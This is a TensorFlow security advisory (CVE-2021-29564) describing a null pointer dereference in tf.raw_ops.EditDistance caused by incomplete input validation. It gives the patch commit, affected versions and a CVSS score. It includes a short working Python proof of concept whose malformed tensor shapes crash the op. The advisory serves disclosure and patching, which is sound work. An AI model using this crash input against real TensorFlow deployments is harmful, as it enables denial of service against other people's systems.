Null pointer dereference in `EditDistance`

### Impact An attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.EditDistance`: ```python import tensorflow as tf hypothesis_indices = tf.constant([247, 247, 247], shape=[1, 3], dtype=tf.int64) hypothesis_values = tf.constant([-9.9999], shape=[1], dtype=tf.float32) hypothesis_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64) truth_indices = tf.constant([], shape=[0, 3], dtype=tf.int64) truth_values = tf.constant([], shape=[0], dtype=tf.float32) truth_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64) tf.raw_ops.EditDistance( hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values, hypothesis_shape=hypothesis_shape, truth_indices=truth_indices, truth_values=truth_values, truth_shape=truth_shape, normalize=True) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/79865b542f9ffdc9caeb255631f7c56f1d4b6517/tensorflow/core/kernels/edit_distance_op.cc#L103-L159) has incomplete validation of the input parameters. In the above scenario, an attacker causes an allocation of an empty tensor for the output: ```cc OP_REQUIRES_OK(ctx, ctx->allocate_output("output", output_shape, &output)); auto output_t = output->flat<float>(); output_t.setZero(); ``` Because `output_shape` has 0 elements, the result of `output->flat<T>()` has an empty buffer, so calling `setZero` would result in a null dereference. ### Patches We have patched the issue in GitHub commit [f4c364a5d6880557f6f5b6eb5cee2c407f0186b3](https://github.com/tensorflow/tensorflow/commit/f4c364a5d6880557f6f5b6eb5cee2c407f0186b3). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

CVSS 3.1

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Severity from

GitHub (reviewed advisory)

Weakness

CWE-476

Also known as

BIT-tensorflow-2021-29564, CVE-2021-29564, PYSEC-2021-201, PYSEC-2021-492, PYSEC-2021-690

• github.com/tensorflow/tensorflow/security/advisories/GHSA-75f6-78jr-4656
• nvd.nist.gov/vuln/detail/CVE-2021-29564
• github.com/tensorflow/tensorflow/commit/f4c364a5d6880557f6f5b6eb5cee2c407f0186b3
• github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-492.yaml
• github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-690.yaml
• github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-201.yaml
• github.com/tensorflow/tensorflow